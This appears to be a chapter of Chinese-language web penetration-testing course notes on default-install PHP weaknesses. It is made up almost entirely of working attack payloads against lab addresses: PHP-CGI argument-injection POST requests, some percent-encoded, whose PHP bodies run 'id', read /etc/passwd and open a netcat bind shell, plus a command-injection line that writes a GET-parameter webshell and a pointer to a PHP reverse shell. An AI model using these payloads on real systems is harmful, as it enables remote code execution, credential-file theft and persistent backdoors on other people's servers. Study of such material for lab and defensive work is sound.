第十二章 WEB渗透

手动漏洞挖掘

• 默认安装
• Windows默认安装漏洞
　　• phpMyAdmin/setup
　　• Ubuntu / Debian 默认安装PHP5-cgi
• 可直接访问 /cgi-bin/php5 和 /cgi-bin/php（爬不出来的目录）
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
<?php
passthru('id');
die();
?>

• PHP反弹shell
　　• /usr/share/webshells/php/php-reverse-shell.php
• File
• Whereis
　　• Ifconfig
• 写入webshell
　　• ;echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php

• POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6E HTTP/1.1
• Host: 123
<?php
echo system('cat /etc/passwd');
?>

•
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D
%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C
%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F
%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F
%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E
%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E
%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6E HTTP/1.1
•Host: 192.168.20.5
•<?php
• system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
•?>

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